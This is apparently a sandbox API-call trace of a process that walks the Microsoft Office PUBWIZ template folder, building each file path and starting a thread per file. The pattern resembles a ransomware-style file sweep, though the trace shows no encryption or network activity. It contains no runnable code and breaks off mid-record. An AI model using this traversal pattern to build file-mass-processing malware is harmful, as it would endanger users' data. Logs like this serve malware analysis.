wcscmp (_String1="BROCHURE.DPV", _String2="..") returned 1 [0158.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd950 [0158.951] wcscpy (in: _Dest=0x1cddd950, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.951] wcscat (in: _Dest=0x1cddd950, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.951] wcscat (in: _Dest=0x1cddd950, _Source="BROCHURE.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.DPV" [0158.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26ac [0158.952] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181eda00, ftCreationTime.dwHighDateTime=0x1c9d396, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x181eda00, ftLastWriteTime.dwHighDateTime=0x1c9d396, nFileSizeHigh=0x0, nFileSizeLow=0x757a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BROCHURE.XML", cAlternateFileName="")) returned 1 [0158.952] wcscmp (_String1="BROCHURE.XML", _String2=".") returned 1 [0158.952] wcscmp (_String1="BROCHURE.XML", _String2="..") returned 1 [0158.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd9e0 [0158.953] wcscpy (in: _Dest=0x1cddd9e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.953] wcscat (in: _Dest=0x1cddd9e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.953] wcscat (in: _Dest=0x1cddd9e0, _Source="BROCHURE.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML" [0158.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b0 [0158.954] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS2BARB.POC", cAlternateFileName="")) returned 1 [0158.954] wcscmp (_String1="BS2BARB.POC", _String2=".") returned 1 [0158.954] wcscmp (_String1="BS2BARB.POC", _String2="..") returned 1 [0158.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cddda70 [0158.954] wcscpy (in: _Dest=0x1cddda70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.954] wcscat (in: _Dest=0x1cddda70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.954] wcscat (in: _Dest=0x1cddda70, _Source="BS2BARB.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC" [0158.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddda70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b4 [0158.955] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51ad3ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS4BOXES.POC", cAlternateFileName="")) returned 1 [0158.955] wcscmp (_String1="BS4BOXES.POC", _String2=".") returned 1 [0158.955] wcscmp (_String1="BS4BOXES.POC", _String2="..") returned 1 [0158.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdddb00 [0158.955] wcscpy (in: _Dest=0x1cdddb00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.955] wcscat (in: _Dest=0x1cdddb00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.955] wcscat (in: _Dest=0x1cdddb00, _Source="BS4BOXES.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC" [0158.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdddb00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b8 [0158.956] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS53BOXS.POC", cAlternateFileName="")) returned 1 [0158.956] wcscmp (_String1="BS53BOXS.POC", _String2=".") returned 1 [0158.956] wcscmp (_String1="BS53BOXS.POC", _String2="..") returned 1 [0158.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdddb90 [0158.956] wcscpy (in: _Dest=0x1cdddb90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.956] wcscat (in: _Dest=0x1cdddb90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.956] wcscat (in: _Dest=0x1cdddb90, _Source="BS53BOXS.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC" [0158.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdddb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26bc [0158.957] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x12c2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCARD11.POC", cAlternateFileName="")) returned 1 [0158.957] wcscmp (_String1="BZCARD11.POC", _String2=".") returned 1 [0158.957] wcscmp (_String1="BZCARD11.POC", _String2="..") returned 1 [0158.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdddc20 [0158.957] wcscpy (in: _Dest=0x1cdddc20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.957] wcscat (in: _Dest=0x1cdddc20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.957] wcscat (in: _Dest=0x1cdddc20, _Source="BZCARD11.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC" [0158.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdddc20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c0 [0158.958] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac2d700, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdac2d700, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xe6f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCARDHM.POC", cAlternateFileName="")) returned 1 [0158.958] wcscmp (_String1="BZCARDHM.POC", _String2=".") returned 1 [0158.958] wcscmp (_String1="BZCARDHM.POC", _String2="..") returned 1 [0158.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdddcb0 [0158.959] wcscpy (in: _Dest=0x1cdddcb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.959] wcscat (in: _Dest=0x1cdddcb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.959] wcscat (in: _Dest=0x1cdddcb0, _Source="BZCARDHM.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC" [0158.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdddcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c4 [0158.960] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac2d700, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdac2d700, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x6214, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCD98SP.POC", cAlternateFileName="")) returned 1 [0158.960] wcscmp (_String1="BZCD98SP.POC", _String2=".") returned 1 [0158.960] wcscmp (_String1="BZCD98SP.POC", _String2="..") returned 1 [0158.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdddd40 [0158.960] wcscpy (in: _Dest=0x1cdddd40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.960] wcscat (in: _Dest=0x1cdddd40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.960] wcscat (in: _Dest=0x1cdddd40, _Source="BZCD98SP.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC" [0158.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdddd40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c8 [0158.961] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde565e00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde565e00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x3caa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCRD98.POC", cAlternateFileName="")) returned 1 [0158.961] wcscmp (_String1="BZCRD98.POC", _String2=".") returned 1 [0158.961] wcscmp (_String1="BZCRD98.POC", _String2="..") returned 1 [0158.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cddddd0 [0158.962] wcscpy (in: _Dest=0x1cddddd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.962] wcscat (in: _Dest=0x1cddddd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.962] wcscat (in: _Dest=0x1cddddd0, _Source="BZCRD98.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC" [0158.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddddd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26cc [0158.963] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b8ea00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36b8ea00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x148f52, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.DPV", cAlternateFileName="")) returned 1 [0158.963] wcscmp (_String1="CALENDAR.DPV", _String2=".") returned 1 [0158.963] wcscmp (_String1="CALENDAR.DPV", _String2="..") returned 1 [0158.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddde60 [0158.963] wcscpy (in: _Dest=0x1cddde60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.963] wcscat (in: _Dest=0x1cddde60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.963] wcscat (in: _Dest=0x1cddde60, _Source="CALENDAR.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV" [0158.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddde60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d0 [0158.964] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f308b00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f308b00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x2614, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.XML", cAlternateFileName="")) returned 1 [0158.964] wcscmp (_String1="CALENDAR.XML", _String2=".") returned 1 [0158.964] wcscmp (_String1="CALENDAR.XML", _String2="..") returned 1 [0158.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdddef0 [0158.964] wcscpy (in: _Dest=0x1cdddef0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.964] wcscat (in: _Dest=0x1cdddef0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.964] wcscat (in: _Dest=0x1cdddef0, _Source="CALENDAR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" [0158.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdddef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d4 [0158.965] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9e500, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9e500, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x329e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALHM.POC", cAlternateFileName="")) returned 1 [0158.965] wcscmp (_String1="CALHM.POC", _String2=".") returned 1 [0158.965] wcscmp (_String1="CALHM.POC", _String2="..") returned 1 [0158.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42307c80 [0158.965] wcscpy (in: _Dest=0x42307c80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.965] wcscat (in: _Dest=0x42307c80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.965] wcscat (in: _Dest=0x42307c80, _Source="CALHM.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC" [0158.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d8 [0158.966] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x940b200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c049f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x940b200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1a6da2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR98.POC", cAlternateFileName="")) returned 1 [0159.519] wcscmp (_String1="CALNDR98.POC", _String2=".") returned 1 [0159.519] wcscmp (_String1="CALNDR98.POC", _String2="..") returned 1 [0159.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a5fa0 [0159.519] wcscpy (in: _Dest=0x202a5fa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.519] wcscat (in: _Dest=0x202a5fa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.519] wcscat (in: _Dest=0x202a5fa0, _Source="CALNDR98.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" [0159.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0159.520] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd43900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x60251a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd43900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1b8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALSO11.POC", cAlternateFileName="")) returned 1 [0159.520] wcscmp (_String1="CALSO11.POC", _String2=".") returned 1 [0159.520] wcscmp (_String1="CALSO11.POC", _String2="..") returned 1 [0159.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cdde010 [0159.520] wcscpy (in: _Dest=0x1cdde010, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.520] wcscat (in: _Dest=0x1cdde010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.520] wcscat (in: _Dest=0x1cdde010, _Source="CALSO11.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC" [0159.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1640 [0159.522] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x178ece00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x60251a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x178ece00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x696d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALSO98.POC", cAlternateFileName="")) returned 1 [0159.522] wcscmp (_String1="CALSO98.POC", _String2=".") returned 1 [0159.522] wcscmp (_String1="CALSO98.POC", _String2="..") returned 1 [0159.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cdde0a0 [0159.522] wcscpy (in: _Dest=0x1cdde0a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.522] wcscat (in: _Dest=0x1cdde0a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.522] wcscat (in: _Dest=0x1cdde0a0, _Source="CALSO98.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC" [0159.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde0a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8 [0159.524] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24d74700, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24d74700, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x4e4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATALOG.DPV", cAlternateFileName="")) returned 1 [0159.524] wcscmp (_String1="CATALOG.DPV", _String2=".") returned 1 [0159.524] wcscmp (_String1="CATALOG.DPV", _String2="..") returned 1 [0159.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cdde130 [0159.524] wcscpy (in: _Dest=0x1cdde130, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.524] wcscat (in: _Dest=0x1cdde130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.524] wcscat (in: _Dest=0x1cdde130, _Source="CATALOG.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV" [0159.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde130, dwCreationFlags=0x0, 